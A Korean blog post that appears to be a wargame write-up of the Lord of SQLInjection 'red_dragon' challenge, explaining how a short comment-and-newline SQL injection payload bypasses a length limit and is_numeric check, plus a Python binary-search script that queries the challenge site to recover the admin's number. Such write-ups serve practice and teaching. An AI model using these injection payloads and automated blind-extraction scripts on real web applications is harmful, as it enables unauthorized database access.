728x90
이번 포스트에서는 Lord of SQLInjection의 red_dragon문제에 대해 다루겠다.
문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.
## 문제 해석 :
해당 문제는 preg_match() 함수를 통해 prob, _, .을 필터링하고 있다는 것을 알 수 있다.
strlen() 함수를 통해 id값의 길이를 7자 이하로 제한하고 있다.
no값이 숫자인 경우에 그대로 쓰이고 아닌 경우에는 1로 변경된다.
또한 no의 값을 알아야 문제를 해결할 수 있는 것으로 보인다.
## 문제 풀이 :
해당 문제는 글자 제한이 걸려있으므로 최대한 짧은 쿼리문을 사용하여 no의 값을 알아내야 한다.
또한 is_numeric() 함수는 공백 문자 등을 인식하지 못하는 점을 활용하여 공격해보겠다.
### 사용할 공격문 : id='||no>%23&no=%0a100000
### 실행 결과 :
우리가 입력한 쿼리문이 id='' or no > #' and no= 100000이 된 셈이다.
지금 admin이 출력된 것을 보니 admin의 no값이 상당히 크다는 것을 알 수 있다. 따라서 파이썬 자동화 코드를 활용해서 no 값을 알아보겠다.
### 공격 코드 :
url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?" # 공격 사이트
cookies = {'PHPSESSID': '세션ID'} # 본인의 세션값
round = 0 # round 초기화
LEFT = 100000000 # admin's no의 최소 값 (임의 설정)
RIGHT = 1000000000 # admin's no의 최대 값 (임의 설정)
while 1: # while문 실행
# pw_len += 1 # 비밀번호 길이 + 1
mid = (LEFT + RIGHT) // 2 # 중간 값 초기화
url_param = url + f"id='||no<%23&no=%0a{mid}" # 파라미터 작성
response = requests.get(url_param, cookies=cookies) # 요청
if LEFT > RIGHT: # LEFT가 RIGHT보다 클 때, 즉 값을 찾았을 경우
print("\033[31m" + f"[+] THE ADMIN'S NO : {mid}") # 결과 출력
break # 탈출
if "Hello admin" in response.text: # Hello admin이 응답에 있다면
round += 1 # round + 1
print("\033[94m" + f"[-] ROUND {round} | NO > {mid}") # 결과 출력
RIGHT = mid - 1 # RIGHT에 mid - 1 의 값 대입
else:
round += 1 # round + 1
print("\033[93m" + f"[-] ROUND {round} | NO < {mid}") # 결과 출력
LEFT = mid + 1 # RIGHT에 mid - 1 의 값 대입
### 실행 결과 :
### 최종 공격문 : id=admin&no=586482014
### 실행 결과 :
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection (28. frankenstein) (0) | 2022.06.23 |
---|---|
Lord of SQLInjection (27. blue_dragon) (0) | 2022.06.21 |
Lord of SQLInjection (25. green_dragon) (0) | 2022.06.17 |
Lord of SQLInjection (24. evil_wizard) (0) | 2022.06.16 |
Lord of SQLInjection (23. hell_fire) (0) | 2022.06.13 |